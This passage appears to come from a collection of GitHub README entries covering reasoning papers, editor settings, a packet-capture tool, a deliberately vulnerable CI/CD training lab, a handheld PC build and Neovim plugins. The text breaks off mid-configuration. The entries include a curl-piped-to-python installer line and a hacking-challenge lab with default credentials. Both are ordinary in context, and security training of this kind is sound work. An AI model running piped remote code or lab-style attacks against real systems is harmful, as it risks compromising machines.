*Shuofei Qiao, Yixin Ou, Ningyu Zhang, Xiang Chen, Yunzhi Yao, Shumin Deng, Chuanqi Tan, Fei Huang, Huajun Chen* [[pdf](https://arxiv.org/abs/2212.09597)], [[code](https://github.com/zjunlp/Prompt4ReasoningPapers)] 2022.12 33. **Towards Reasoning in Large Language Models: A Survey.** *Jie Huang, Kevin Chen-Chuan Chang* [[pdf](https://arxiv.org/abs/2212.10403)], [[code](https://github.com/jeffhj/lm-reasoning)] 2022.12 34. **Large Language Models are reasoners with Self-Verification.** *Yixuan Weng, Minjun Zhu, Shizhu He, Kang Liu, Jun Zhao* [[pdf](https://arxiv.org/abs/2212.09561)] [[code](https://github.com/WENGSYX/Self-Verification)] 2022.12 35. **Towards Understanding Chain-of-Thought Prompting: An Empirical Study of What Matters.** *Boshi Wang, Sewon Min, Xiang Deng, Jiaming Shen, You Wu, Luke Zettlemoyer, Huan Sun* [[pdf](https://arxiv.org/abs/2212.10001)], [[code](https://github.com/sunlab-osu/Understanding-CoT)] 2022.12 36. **Large Language Models Are Reasoning Teachers.** *Namgyu Ho, Laura Schmid, Se-Young Yun* [[pdf](https://arxiv.org/abs/2212.10071)] [[code](https://github.com/itsnamgyu/reasoning-teacher)] 2022.12 37. **Faithful Chain-of-Thought Reasoning** *Qing Lyu\*, Shreya Havaldar\*, Adam Stein\*, Li Zhang, Delip Rao, Eric Wong, Marianna Apidianaki, Chris Callison-Burch* [[pdf](https://arxiv.org/abs/2301.13379)], [[code](https://github.com/veronica320/Faithful-COT)] 2023.01 38. **Large Language Models are Versatile Decomposers: Decompose Evidence and Questions for Table-based Reasoning** *Yunhu Ye, Binyuan Hui, Min Yang, Binhua Li, Fei Huang, Yongbin Li* [[pdf](https://arxiv.org/abs/2301.13808)], [[code](https://github.com/itsnamgyu/reasoning-teacher)] 2023.02 39. **Multimodal Chain-of-Thought Reasoning in Language Models** *Zhuosheng Zhang, Aston Zhang, Mu Li, Hai Zhao, George Karypis, Alex Smola* [[pdf](https://arxiv.org/abs/2302.00923)], [[code](https://github.com/amazon-science/mm-cot)] 2023.02 40. **Large Language Models Can Be Easily Distracted by Irrelevant Context** *Freda Shi, Xinyun Chen, Kanishka Misra, Nathan Scales, David Dohan, Ed Chi, Nathanael Schärli, Denny Zhou* [[pdf](https://arxiv.org/abs/2302.00093)], [[code](https://github.com/google-research-datasets/gsm-ic)] 2023.02 41. **Active Prompting with Chain-of-Thought for Large Language Models** *Shizhe Diao, Pengcheng Wang, Yong Lin, Tong Zhang* [[pdf](https://arxiv.org/abs/2302.12246)], [[code](https://github.com/shizhediao/active-prompt)] 2023.02 42. **MM-REACT: Prompting ChatGPT for Multimodal Reasoning and Action** *Zhengyuan Yang, Linjie Li, Jianfeng Wang, Kevin Lin, Ehsan Azarnasab, Faisal Ahmed, Zicheng Liu, Ce Liu, Michael Zeng, Lijuan Wang* [[pdf](https://arxiv.org/abs/2303.11381)], [[code](https://github.com/microsoft/MM-REACT)] 2023.03 43. **Exploring Human-Like Translation Strategy with Large Language Models** *Zhiwei He, Tian Liang, Wenxiang Jiao, Zhuosheng Zhang, Yujiu Yang, Rui Wang, Zhaopeng Tu, Shuming Shi, Xing Wang* [[pdf](https://arxiv.org/abs/2305.04118)], [[code](https://github.com/zwhe99/MAPS-mt)] 2023.05 44. **Reasoning Implicit Sentiment with Chain-of-Thought Prompting** *Hao Fei, Bobo Li, Qian Liu, Lidong Bing, Fei Li, Tat-Seng Chua* [[pdf](https://arxiv.org/abs/2305.11255)], [[code](https://github.com/scofield7419/THOR-ISA)] 2023.05 45. **Element-aware Summarization with Large Language Models: Expert-aligned Evaluation and Chain-of-Thought Method** *Yiming Wang, Zhuosheng Zhang, Rui Wang* [[pdf](https://arxiv.org/abs/2305.13412)], [[code](https://github.com/Alsace08/SumCoT)] 2023.05 46. **Chain Of Thought Prompting Under Streaming Batch: A Case Study** *Yuxin Tang* [[pdf](https://arxiv.org/abs/2306.00550)] 2023.06 47. **Tab-CoT: Zero-shot Tabular Chain of Thought** *Ziqi Jin and Wei Lu* [[pdf](https://arxiv.org/abs/2305.17812)], [[code](https://github.com/Xalp/Tab-CoT)] 2023.06 48. **Reasoning with Language Model is Planning with World Model** *Shibo Hao\*, Yi Gu\*, Haodi Ma, Joshua Jiahua Hong, Zhen Wang, Daisy Zhe Wang, Zhiting Hu* [[pdf](https://arxiv.org/abs/2305.14992)], [[code](https://github.com/Ber666/RAP)] 2023.05 49. **Recursion of Thought: A Divide and Conquer Approach to Multi-Context Reasoning with Language Models** *Soochan Lee and Gunehee Kim* [[pdf](https://arxiv.org/abs/2306.06891)], [[code](https://github.com/soochan-lee/RoT)], [[poster](https://soochanlee.com/img/rot/rot_poster.pdf)] 50. **The CoT Collection: Improving Zero-shot and Few-shot Learning of Language Models via Chain-of-Thought Fine-Tuning** *Seungone Kim, Se June Joo, Doyoung Kim, Joel Jang, Seonghyeon Ye, Jamin Shin, Minjoon Seo* [[pdf](https://arxiv.org/abs/2305.14045)] 51. **Cumulative Reasoning with Large Language Models** *Yifan Zhang\*, Jinqqin Yang\*, Yang Yuan, Andrew Chi-Chih Yao* [[pdf](https://arxiv.org/abs/2308.04371)], [[code](https://github.com/iiis-ai/cumulative-reasoning)] 2023.08

A trend starts from "Chain of Thought Prompting Elicits Reasoning in Large Language Models".

chain-of-thought,large-language-models,prompt-learning,palm,codex,gpt-3,in-context-learning

antfu/vscode-settings

<samp><b>Anthony's VS Code Settings</b></samp> [`.vscode/settings.json`](./.vscode/settings.json)<br> [`.vscode/extensions.json`](./.vscode/extensions.json)<br> [`.vscode/global.code-snippets`](./.vscode/global.code-snippets) <br> <br> <p align="center"><samp>Preview</samp></p> <p align="center"> <img src="https://user-images.githubusercontent.com/11247099/110247185-ed26b380-7fa5-11eb-8fce-6c224bb6ef26.png"> <img src="https://user-images.githubusercontent.com/11247099/110247187-f1eb6780-7fa5-11eb-9258-620309e20961.png"> _{<samp>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Theme | <a href="https://github.com/antfu/vscode-theme-vitesse">Vitesse Theme</a><br> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Font | <a href="http://input.fontbureau.com/">Input Mono</a><br> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;File Icons | <a href="https://marketplace.visualstudio.com/items?itemName=Catppuccin.catppuccin-vsc-icons">Catppuccin Icons</a><br> Product Icons | <a href="https://github.com/antfu/vscode-icons-carbon">Carbon</a>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</samp>} </p> <br> ## LICENSE MIT

My VS Code settings and extensions

vscode,vscode-settings,vscode-extension,vscode-settings-json

deepfence/PacketStreamer

[](https://docs.deepfence.io/packetstreamer) [](https://github.com/deepfence/PacketStreamer/blob/master/LICENSE) [](https://github.com/deepfence/PacketStreamer/stargazers) [](https://github.com/deepfence/PacketStreamer/issues) [](https://github.com/deepfence/PacketStreamer/issues) [](https://join.slack.com/t/deepfence-community/shared_invite/zt-podmzle9-5X~qYx8wMaLt9bGWwkSdgQ) # PacketStreamer Deepfence PacketStreamer is a high-performance remote packet capture and collection tool. It is used by Deepfence's [ThreatStryker](https://deepfence.io/threatstryker/) security observability platform to gather network traffic on demand from cloud workloads for forensic analysis. Primary design goals: * Stay light, capture and stream, no additional processing * Portability, works across **virtual machines, Kubernetes and AWS Fargate**. Linux and Windows PacketStreamer **sensors** are started on the target servers. Sensors capture traffic, apply filters, and then stream the traffic to a central receiver. Traffic streams may be compressed and/or encrypted using TLS. The PacketStreamer **receiver** accepts PacketStreamer streams from multiple remote sensors, and writes the packets to a local `pcap` capture file <p align="center"><img src="https://raw.githubusercontent.com/deepfence/PacketStreamer/main/images/readme/packetstreamer.png"/><p> PacketStreamer sensors collect raw network packets on remote hosts. It selects packets to capture using a BPF filter, and forwards them to a central receiver process where they are written in pcap format. Sensors are very lightweight and impose little performance impact on the remote hosts. PacketStreamer sensors can be run on bare-metal servers, on Docker hosts, and on Kubernetes nodes. The PacketStreamer receiver accepts network traffic from multiple sensors, collecting it into a single, central `pcap` file. You can then process the pcap file or live feed the traffic to the tooling of your choice, such as `Zeek`, `Wireshark` `Suricata`, or as a live stream for Machine Learning models. ## When to use PacketStreamer PacketStreamer meets more general use cases than existing alternatives. For example , Use PacketStreamer if you need a lightweight, efficient method to collect raw network data from multiple machines for central logging and analysis. ## Quick Start  For full instructions, refer to the [PacketStreamer Documentation](https://docs.deepfence.io/packetstreamer/). You will need to install the golang toolchain and `libpcap-dev` before building PacketStreamer. ```shell script # Pre-requisites (Ubuntu): sudo apt install golang-go libpcap-dev git clone https://github.com/deepfence/PacketStreamer.git cd PacketStreamer/ make ``` Run a PacketStreamer receiver, listening on port **8081** and writing pcap output to **/tmp/dump_file** (see [receiver.yaml](contrib/config/receiver.yaml)): ```shell script ./packetstreamer receiver --config ./contrib/config/receiver.yaml ``` Run one or more PacketStreamer sensors on local and remote hosts. Edit the **server address** in [sensor.yaml](contrib/config/sensor-local.yaml): ```shell script # run on the target hosts to capture and forward traffic # copy and edit the sample sensor-local.yaml file, and add the address of the receiver host cp ./contrib/config/sensor-local.yaml ./contrib/config/sensor.yaml ./packetstreamer sensor --config ./contrib/config/sensor.yaml ``` ## Who uses PacketStreamer? * Deepfence [ThreatStryker](https://deepfence.io/threatstryker/) uses PacketStreamer to capture traffic from production platforms for forensics and anomaly detection. ## Get in touch Thank you for using PacketStreamer. * [<img src="https://img.shields.io/badge/documentation-read-green">](https://docs.deepfence.io/packetstreamer/) Start with the documentation * [<img src="https://img.shields.io/badge/slack-@deepfence-blue.svg?logo=slack">](https://join.slack.com/t/deepfence-community/shared_invite/zt-podmzle9-5X~qYx8wMaLt9bGWwkSdgQ) Got a question, need some help? Find the Deepfence team on Slack * [](https://github.com/deepfence/PacketStreamer/issues) Got a feature request or found a bug? Raise an issue * [productsecurity *at* deepfence *dot* io](SECURITY.md): Found a security issue? Share it in confidence * Find out more at [deepfence.io](https://deepfence.io/) ## Security and Support For any security-related issues in the PacketStreamer project, contact [productsecurity *at* deepfence *dot* io](SECURITY.md). Please file GitHub issues as needed, and join the Deepfence Community [Slack channel](https://join.slack.com/t/deepfence-community/shared_invite/zt-podmzle9-5X~qYx8wMaLt9bGWwkSdgQ). ## License The Deepfence PacketStreamer project (this repository) is offered under the [Apache2 license](https://www.apache.org/licenses/LICENSE-2.0). [Contributions](CONTRIBUTING.md) to Deepfence PacketStreamer project are similarly accepted under the Apache2 license, as per [GitHub's inbound=outbound policy](https://docs.github.com/en/github/site-policy/github-terms-of-service#6-contributions-under-repository-license).

:star: :star: Distributed tcpdump for cloud native environments :star: :star:

soc,network-analysis,tcpdump-like,packet-capture,packet-sniffer,observability,security-tools,snort,zeek,suricata

shmilylty/netspy

netspy是一款快速探测内网可达网段工具（深信服深蓝实验室天威战队强力驱动）

cider-security-research/cicd-goat

[](https://www.paloaltonetworks.com/prisma/cloud/cloud-code-security) [](https://www.paloaltonetworks.com/prisma/cloud/cloud-code-security) [](https://owasp.org/www-project-top-10-ci-cd-security-risks/) [](https://github.com/cider-security-research/cicd-goat/actions/workflows/release.yaml) [](https://circleci.com/gh/cider-security-research/cicd-goat/tree/main)   Deliberately vulnerable CI/CD environment. Hack CI/CD pipelines, capture the flags. :triangular_flag_on_post: Created by Cider Security [(Acquired by Palo Alto Networks)](https://www.paloaltonetworks.com/prisma/cloud/cloud-code-security). ## Table of Contents * [Description](#Description) * [Download & Run](#Download--Run) * [Linux & Mac](#Linux--Mac) * [Windows (Powershell)](#Windows-Powershell) * [Usage](#Usage) * [Instructions](#Instructions) * [Take the challenge](#Take-the-challenge) * [Troubleshooting](#Troubleshooting) * [Solutions](#Solutions) * [Contributing](#Contributing) ## Description The CI/CD Goat project allows engineers and security practitioners to learn and practice CI/CD security through a set of 11 challenges, enacted against a real, full blown CI/CD environment. The scenarios are of varying difficulty levels, with each scenario focusing on one primary attack vector. The challenges cover the [Top 10 CI/CD Security Risks](https://owasp.org/www-project-top-10-ci-cd-security-risks/), including Insufficient Flow Control Mechanisms, PPE (Poisoned Pipeline Execution), Dependency Chain Abuse, PBAC (Pipeline-Based Access Controls), and more.\ The different challenges are inspired by Alice in Wonderland, each one is themed as a different character. The project’s environment is based on Docker containers and can be run locally. These containers are: 1. Gitea (minimal git server) 2. Jenkins 3. Jenkins agent 4. LocalStack (cloud service emulator that runs in a single container) 5. Prod - contains Docker in Docker and Lighttpd service 6. CTFd (Capture The Flag framework) 7. GitLab 8. GitLab runner 9. Docker in Docker The images are configured to interconnect in a way that creates fully functional pipelines. [](#) ## Download & Run **There's no need to clone the repository.** ### Linux & Mac ```sh curl -o cicd-goat/docker-compose.yaml --create-dirs https://raw.githubusercontent.com/cider-security-research/cicd-goat/main/docker-compose.yaml cd cicd-goat && docker compose up -d ``` ### Windows (Powershell) ```PowerShell mkdir cicd-goat; cd cicd-goat curl -o docker-compose.yaml https://raw.githubusercontent.com/cider-security-research/cicd-goat/main/docker-compose.yaml get-content docker-compose.yaml | %{$_ -replace "bridge","nat"} docker compose up -d ``` ## Usage ### Instructions * **Spoiler alert!** Avoid browsing the repository files as they contain spoilers. * To configure your git client for accessing private repositories we suggest cloning using the http url. * In each challenge, find the flag - in the format of _flag#_ (e.g _flag2_), or another format if mentioned specifically. * Each challenge stands on its own. Do not use access gained in one challenge to solve another challenge. * If needed, use the hints on CTFd. * There is no need to exploit CVEs. * No need to hijack admin accounts of Gitea or Jenkins (named "admin" or "red-queen"). ### Take the challenge 1. After starting the containers, it might take up to 5 minutes until the containers configuration process is complete. 2. Login to CTFd at http://localhost:8000 to view the challenges: * Username: `alice` * Password: `alice` 3. Hack: * Jenkins http://localhost:8080 * Username: `alice` * Password: `alice` * Gitea http://localhost:3000 * Username: `thealice` * Password: `thealice` * GitLab http://localhost:4000 * Username: `alice` * Password: `alice1234` 4. Insert the flags on CTFd and find out if you got it right. ### Troubleshooting * If Gitea shows a blank page, refresh the page. * When forking a repository, don't change the name of the forked repository. * If any of the services doesn't start or is not configured correctly try adding more cpu and memory to the docker engine and update it to the lateset version. ## Solutions **Warning:** Spoilers! :see_no_evil: * See [Solutions](solutions). * BSidesLV talk: [Climbing the Production Mountain: Practical CI/CD Attacks Using CI/CD Goat](https://www.youtube.com/watch?v=w-R2PT2jfdU) - Featuring solutions of the Caterpillar, Mock Turtle and Dormouse challenges. ## Contributing See [Contributing](CONTRIBUTING.md).

A deliberately vulnerable CI/CD environment. Learn CI/CD security through multiple challenges.

appsec,cicd,devops,infosec,devsecops,security,jenkins,ctf,gitlab

penk/penkesu

# Penkesu Computer - A Homebrew Retro-style Handheld PC  The Penkēsu (Japanese: `ペンケース`) is a retro-style handheld device powered by a Raspberry Pi Zero 2 W, a 7.9 inch widescreen display (1280 x 400 resolution), and a 48-key ortholinear mechanical keyboard. ## The Design The enclosure of the Penkesu Computer is designed around the display and keyboard to ensure (relatively) compact physical dimensions.  Repurposed Gameboy Advance SP hinges and a ribbon cable for HDMI are used to keep the hinge design thin, yet they hold the weight of the display so that it won't tip over. Electronics are intentionally kept minimal (3 internal components) and most of the parts are either 3D printable or available as off-the-shelf products. |  |  | |-----------------------------|-----------------------------| |  |  | |  |  | See also: the keyboard [sound test video](https://twitter.com/penk/status/1492715339997925376). ## Open Source Hardware Ever since the [CutiePi tablet](https://cutiepi.io) was successfully funded and started shipping, I felt the need to work on a new project; something that I didn't need to worry too much about (ie: commercial viability), and to remind myself why I started tinkering. A "rebound" project, so to speak. And since there are no immediate plans on selling kits or making the Penkesu Computer mass producible, I wanted to publish all the designs and plans so there's enough information for anyone interested in making one. ## Bill of Materials  - Display - Waveshare [7.9inch Capacitive Touch Screen](https://www.waveshare.com/7.9inch-HDMI-LCD.htm) - Adafruit DIY HDMI Cable Parts - [Right Angle adapter](https://www.adafruit.com/product/3550), [Mini HDMI adapter](https://www.adafruit.com/product/3552), and [20cm Ribbon Cable](https://www.adafruit.com/product/3561) - Case - Gameboy Advance SP [Replacement Hinges](https://amazon.com/dp/B00YCEOXIK) - 3D printed parts ([STL files](stl) and [STEP file](step)) - M2x6mm screws x 6 (8 if intending to secure the keyboard to the bottom tray. See part 2 below for more info.) - M2x6mm threaded heat-set inserts x 6 (8 if intending to secure the keyboard to the bottom tray. See part 2 below for more info.) - Electronics - Raspberry Pi [Zero 2 W](https://www.raspberrypi.com/products/raspberry-pi-zero-2-w/) - 3.7V 606090 (or similar size) [Li-Po battery](https://www.aliexpress.com/wholesale?SearchText=606090+battery) - Adafruit [PowerBoost 1000C](https://www.adafruit.com/product/2465) - Keyboard - Kailh Low Profile [Choc v1](https://www.adafruit.com/product/5114) Switches x 48 - MBK Choc Low Profile Keycaps x 48 - 1N4148 Diode x 48 - Arduino Pro Micro x 1 - PCB x 1 ([gerber file](https://github.com/larrbo/odd-rocket/blob/master/koda/koda_no%20silk.zip) and [QMK firmware](firmware)) Links are **not** affiliate links, and only provided as references. ## Notes on the Keyboard About the keyboard: - The keyboard is called `Koda`, which is originally designed by [larrbo](https://github.com/larrbo/odd-rocket/) and released under Creative Commons BY-NC-SA 4.0 License. I've tweaked the layout so that it better fits my needs and looks closer to the `Planck`. More on this below. - If one wishes to use a different 40% keyboard for the build, it can be done by editing the STEP file and adjusting the compartment size in the chassis. - A thin metal sheet was [glued to the base](https://twitter.com/penk/status/1489810591628034048) as the counterweight, your mileage may vary depending on how you like the weight distribution For the keycaps: - The legends on keycaps were [printed with a laser engraver](https://twitter.com/penk/status/1477140916565843968), which I used [black dip powder for nails](https://twitter.com/penk/status/1475763655212138499) as pigment. - More information about this method can be found with keywords [laser dye-sub keycaps](https://www.youtube.com/watch?v=qqAspFVRZNk) - There are custom printing services for keycaps e.g. [yushakobo.jp](https://shop.yushakobo.jp/collections/services/products/keycap-laser-marking) if one does not have access to a laser engraver. Keyboard Layout:  The lower key activates a layer that primarily has number keys from ` to 1 - 0 across the top row (excluding the top right key, which is the backspace key in all layers). The raise key activates a layer that has the shifted version of all of the numeral keys from the lower layer. As well as function keys using the tab,a,s,d,f,g and shift,z,x,c,v,b keys for F1-F6 and F7-F12 accordingly. Pushing func key down and holding it activates a mouse layer. The mouse layer uses an accelerated mode but allows one to temporarily activate the constant mode using an additional key. As you might have guessed, when using the accelerated mode the speed of the cursor is initially slow but over time increases in speed. This mode is active as soon as mouse mode is entered. (by holding down the func key) Your w,a,s,d keys are you cursor movement keys. Your left, right, and middle mouse buttons are j,k, and l respectively. Your scroll wheel uses the t,f,g,h keys. Finally mouse cursor speed can be toggled by tapping or by holding. If tapped the keys change the speed of acceleration. If the keys are held they will activate constant mode at the equivalent mousing speed. There are 3 overall speeds: 0, 1, and 2, with 0 being the slowest and most precise, and 2 being the fasted and most inaccurate. You access speed 0 using the v key. Speed 1 using the b key. And the fastest speed (2) using the n key. ## The Assembly 1. Glue the two hinges to the chassis (my 3D printer is not accurate enough to print a functional hinge lock, so I simply glued them with 5 minute epoxy.) You want to make sure that the hinge is able to still turn after the epoxy has set.  2. Add heat-set threaded inserts (M2x6mm) to the 4 corners of screen bezel, and 2 to the hinge cover. You may also use heat insert at the front corners of the keyboard tray. Just note that placing these inserts are very difficult, and not entirely necessary. For ease of access you may wish to not use them at all. 3. Wrap the ribbon cable twice and pull it out through the hinge cover. If you use a toothpick, it might make it easier to ensure you do this cleanly through the display cover.  4. Wiring: | Component | Pin | |-----------|--------| | battery positive | PowerBoost `Bat` pin | | battery negative | PowerBoost `GND` pin | | switch 1 pin | PowerBoost `GND` pin | | switch 2 pin | PowerBoost `EN` pin | | PowerBoost `5V OUT` | display and Pi Zero's `VCC` | | PowerBoost `GND` | display and Pi Zero's `GND` |  5. Connect the keyboard's micro USB and the display cable into the mini HDMI port of the Pi Zero 2 W; inset the micro SD card into the Pi Zero 2 W. 6. Fasten all components with M2x6mm screws. If you made it this far, you are welcome to check out my other project, [the CutiePi tablet](http://cutiepi.io), which is also 100% open source hardware! :-) ## Copyright and License Copyright (c) 2022 Penk Chen. All rights reserved. All files are licensed under MIT license, see the [LICENSE](LICENSE) for more information.

Penkesu Computer - A Homebrew Retro-style Handheld PC

Aleksoid1978/MPC-BE

MPC-BE – универсальный проигрыватель аудио и видеофайлов для операционной системы Windows.

rochacbruno/python-week-2022

# python-week-2022 Template Para a Python Week 2022 - 25 a 29 de Abril na Linux Tips ## Instruções Este repositório é um template de um projeto Python mínimo. O programa se chama `beerlog` e está organizado com pastas e módulos, porém a maioria dos arquivos encontra-se vazio. A partir deste template você poderá acompanhar as lives da Python week e programar junto com o Bruno e o Jeferson. ## Obtendo seu repositório 01. Faça login no github (cadastre-se gratuitamente caso ainda não tenha uma conta) 00. Crie um **fork** (cópia) deste repositório clicando em [fork](https://github.com/rochacbruno/python-week-2022/fork) 00. O seu repositório estará em https:// github.com / SEUNOME / python-week-2022 00. Copie a URL do seu repositório (você vai precisar depois) ## Preparando o ambiente > **OBS**: substitua `SEUNOME` pelo seu nome de usuário do github. - Você pode rodar localmente em seu computador desde que tenha o Python 3.8+ - Para rodar localmente faça o clone com `git clone https://github.com/SEUNOME/python-week-2022` - Acesse a pasta `cd python-week-2022` - Você pode rodar no [https://gitpod.io](https://gitpod.io) **recomendado** - Para rodar no gitpod acesse no navegador `https://gitpod.io/#https://github.com/SEUNOME/python-week-2022` - **OBS**: O plano free do gitpod permite o uso de 40 horas do ambiente. - Você pode rodar no [https://replit.com/](https://replit.com/) diretamente no browser - Para rodar no replit, crie um replit e escolha a opção `importar do github` e informe o repositório - **OBS**: O replit.com tem limite de consumo de memória e CPU - Ou em qualquer plataforma que permita executar Python 3.8 ## Requisitos Este template utiliza o gerenciador de pacotes **poetry** ### Se estiver rodando no Linux no seu ambiente local `execute o comando abaixo para instalar o Poetry no Linux` ```bash curl -sSL https://raw.githubusercontent.com/python-poetry/poetry/master/get-poetry.py | python - ``` `Em outros ambientes pode instalar com` ```bash pip install --user poetry ``` > No replit.com o poetry já está disponível e no gitpod será instalado assim que o ambiente iniciar. ## Instalando o ambiente O comando a seguir instala as dependências do projeto. ```bash poetry install ``` O comando a seguir ativa o ambiente virtual do poetry ```bash poetry shell ``` > **IMPORTANTE** o ambiente precisa estar ativado para o programa executar. > No terminal aparecerá algo como > `(beerlog-DlEBh_72-py3.8) gitpod /workspace/python-week-2022 (main) $` Executando o programa ```bash beerlog # ou python -m beerlog ``` Se apareceu `Hello from beerlog` então está tudo certo. ## Está com problemas com instalação ou autocomplete no gitpod? ### Poetry Para o programa rodar o ambiente poetry precisa estar ativado ``` pip install poetry poetry install poetry shell ``` Ou execute `source start_poetry` que é um script que automatiza os comandos acima. ### Autocomplete não funciona? Após ativar o poetry digite no terminal ``` which python ``` A saida será algo como ``` /home/gitpod/.cache/pypoetry/virtualenvs/beerlog-DlEBh_72-py3.8/bin/python ``` Copie este path ^ Agora digite `F1` no gitpod ou `Ctrl + Shift + P` no Vscode local e selectione a opção `Python: Select Interpreter` Cole o path `/home/gitpod/.cache/pypoetry/virtualenvs/beerlog-DlEBh_72-py3.8/bin/python` e digite enter. > **OBS**: Pode ser que o caminho seja outro, o importante é terminar com `/bin/python`

Template Para a Python Week 2002 - 25 a 29 de Abril na LINUXTips

fastapi,python,pythonweek,jupyter,pytest

j-hui/fidget.nvim

<!-- panvimdoc-ignore-start --> # 💫 Fidget [](doc/fidget.txt) [](https://luarocks.org/modules/j-hui/fidget.nvim) Extensible UI for Neovim notifications and LSP progress messages.  <details> <summary>Demo setup</summary> _Note that this demo may not always reflect the exact behavior of the latest release._ This screen recording was taken as I opened a Rust file I'm working on, triggering `rust-analyzer` to send me some LSP progress messages. As those messages are ongoing, I trigger some notifications with the following: ```lua local fidget = require("fidget") vim.keymap.set("n", "A", function() fidget.notify("This is from fidget.notify().") end) vim.keymap.set("n", "B", function() fidget.notify("This is also from fidget.notify().", vim.log.levels.WARN) end) vim.keymap.set("n", "C", function() fidget.notify("fidget.notify() supports annotations...", nil, { annote = "MY NOTE", key = "foobar" }) end) vim.keymap.set("n", "D", function() fidget.notify(nil, vim.log.levels.ERROR, { annote = "bottom text", key = "foobar" }) fidget.notify("... and overwriting notifications.", vim.log.levels.WARN, { annote = "YOUR AD HERE" }) end) ``` (I use normal mode keymaps to avoid going into ex mode, which would pause Fidget rendering and make the demo look glitchy...) Visible elements: - Terminal + font: [Kitty](https://sw.kovidgoyal.net/kitty/) + [Comic Shanns Mono](https://github.com/shannpersand/comic-shanns) - Editor: [Neovim v0.9.4](https://github.com/neovim/neovim/tree/v0.9.4) - Theme: [catppuccin/nvim (mocha, dark)](https://github.com/catppuccin/nvim) - Status line: [nvim-lualine/lualine.nvim](https://github.com/nvim-lualine/lualine.nvim) - Color columns: `:set colorcolumn=81,121,+1,+2` (sorry) - Scrollbar: [petertriho/nvim-scrollbar](https://github.com/petertriho/nvim-scrollbar) </details> ### Why? Fidget is an unintrusive window in the corner of your editor that manages its own lifetime. Its goals are: - to provide a UI for Neovim's [`$/progress`][lsp-progress] handler - to provide a configurable [`vim.notify()`][vim-notify] backend - to support basic ASCII animations (Fidget spinners!) to indicate signs of life - to be easy to configure, sane to maintain, and fun to hack on There's only so much information one can stash into the status line. Besides, who doesn't love a little bit of terminal eye candy, as a treat? [lsp-progress]: https://microsoft.github.io/language-server-protocol/specifications/lsp/3.17/specification/#progress [vim-notify]: https://neovim.io/doc/user/lua.html#vim.notify() <!-- panvimdoc-ignore-end --> ## Getting Started ### Requirements Fidget requires Neovim v0.9.0+. If you would like to see progress notifications, you must have configured Neovim with an LSP server that uses the [`$/progress`][lsp-progress] handler. For an up-to-date list of LSP servers this plugin is known to work with, see [this Wiki page](https://github.com/j-hui/fidget.nvim/wiki/Known-compatible-LSP-servers). ### Installation Install this plugin using your favorite plugin manager. See the [documentation](#options) for `setup()` options. #### [Lazy](https://github.com/folke/lazy.nvim) ```lua { "j-hui/fidget.nvim", opts = { -- options }, } ``` #### [vim-plug](https://github.com/junegunn/vim-plug) ```vim Plug 'j-hui/fidget.nvim' " Make sure the plugin is installed using :PlugInstall. Then, somewhere after plug#end(): lua <<EOF require("fidget").setup { -- options } EOF ``` #### [rocks.nvim](https://github.com/nvim-neorocks/rocks.nvim) ```vim :Rocks install fidget.nvim ``` ### Versioning Fidget is actively developed on the `main` branch, and may occasionally undergo breaking changes. If you would like to ensure configuration/API stability, you can pin your tag to one of the [release tags](https://github.com/j-hui/fidget.nvim/releases/). For instance, using [Lazy](https://github.com/folke/lazy.nvim): ```lua { "j-hui/fidget.nvim", tag = "v1.0.0", -- Make sure to update this to something recent! opts = { -- options }, } ``` ## Options Fidget can be configured by passing a table of options to the `setup()`. Available options are shown below: ```lua { -- Options related to LSP progress subsystem progress = { poll_rate = 0, -- How and when to poll for progress messages suppress_on_insert = false, -- Suppress new messages while in insert mode ignore_done_already = false, -- Ignore new tasks that are already complete ignore_empty_message = false, -- Ignore new tasks that don't contain a message clear_on_detach = -- Clear notification group when LSP server detaches function(client_id) local client = vim.lsp.get_client_by_id(client_id) return client and client.name or nil end, notification_group = -- How to get a progress message's notification group key function(msg) return msg.lsp_client.name end, ignore = {}, -- List of LSP servers to ignore -- Options related to how LSP progress messages are displayed as notifications display = { render_limit = 16, -- How many LSP messages to show at once done_ttl = 3, -- How long a message should persist after completion done_icon = "✔", -- Icon shown when all LSP progress tasks are complete done_style = "Constant", -- Highlight group for completed LSP tasks progress_ttl = math.huge, -- How long a message should persist when in progress progress_icon = -- Icon shown when LSP progress tasks are in progress { pattern = "dots", period = 1 }, progress_style = -- Highlight group for in-progress LSP tasks "WarningMsg", group_style = "Title", -- Highlight group for group name (LSP server name) icon_style = "Question", -- Highlight group for group icons priority = 30, -- Ordering priority for LSP notification group skip_history = true, -- Whether progress notifications should be omitted from history format_message = -- How to format a progress message require("fidget.progress.display").default_format_message, format_annote = -- How to format a progress annotation function(msg) return msg.title end, format_group_name = -- How to format a progress notification group's name function(group) return tostring(group) end, overrides = { -- Override options from the default notification config rust_analyzer = { name = "rust-analyzer" }, }, }, -- Options related to Neovim's built-in LSP client lsp = { progress_ringbuf_size = 0, -- Configure the nvim's LSP progress ring buffer size log_handler = false, -- Log `$/progress` handler invocations (for debugging) }, }, -- Options related to notification subsystem notification = { poll_rate = 10, -- How frequently to update and render notifications filter = vim.log.levels.INFO, -- Minimum notifications level history_size = 128, -- Number of removed messages to retain in history override_vim_notify = false, -- Automatically override vim.notify() with Fidget configs = -- How to configure notification groups when instantiated { default = require("fidget.notification").default_config }, redirect = -- Conditionally redirect notifications to another backend function(msg, level, opts) if opts and opts.on_open then return require("fidget.integration.nvim-notify").delegate(msg, level, opts) end end, -- Options related to how notifications are rendered as text view = { stack_upwards = true, -- Display notification items from bottom to top icon_separator = " ", -- Separator between group name and icon group_separator = "---", -- Separator between notification groups group_separator_hl = -- Highlight group used for group separator "Comment", render_message = -- How to render notification messages function(msg, cnt) return cnt == 1 and msg or string.format("(%dx) %s", cnt, msg) end, }, -- Options related to the notification window and buffer window = { normal_hl = "Comment", -- Base highlight group in the notification window winblend = 100, -- Background color opacity in the notification window border = "none", -- Border around the notification window zindex = 45, -- Stacking priority of the notification window max_width = 0, -- Maximum width of the notification window max_height = 0, -- Maximum height of the notification window x_padding = 1, -- Padding from right edge of window boundary y_padding = 0, -- Padding from bottom edge of window boundary align = "bottom", -- How to align the notification window relative = "editor", -- What the notification window position is relative to }, }, -- Options related to integrating with other plugins integration = { ["nvim-tree"] = { enable = true, -- Integrate with nvim-tree/nvim-tree.lua (if installed) }, ["xcodebuild-nvim"] = { enable = true, -- Integrate with wojciech-kulik/xcodebuild.nvim (if installed) }, }, -- Options related to 